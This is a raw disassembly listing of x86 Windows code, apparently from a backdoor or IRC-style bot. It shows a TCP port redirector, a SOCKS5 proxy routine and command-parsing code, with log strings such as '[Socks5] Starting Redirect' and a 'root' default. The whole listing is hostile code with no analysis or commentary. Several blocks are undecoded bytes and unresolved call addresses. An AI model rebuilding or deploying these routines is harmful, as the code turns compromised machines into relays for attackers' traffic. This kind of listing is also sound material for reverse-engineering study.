; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		call	near ptr 2830000h
		nop


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi	; closesocket


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi	; closesocket


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  68h	; h
		db 0CFh	; Ï
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0CEh	; Î
		db  54h	; T
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  5Ch	; \
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0F1h	; ñ
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0F4h	; ô
		db  4Ah	; J
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		nop
		call	near ptr 2830000h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0A4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
		dd 7EED1BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 7EECA3E8h, 0C4839077h
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6DD
		push	offset byte_448F30
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A4D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473D0h, 64E89051h
		dd 83778133h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


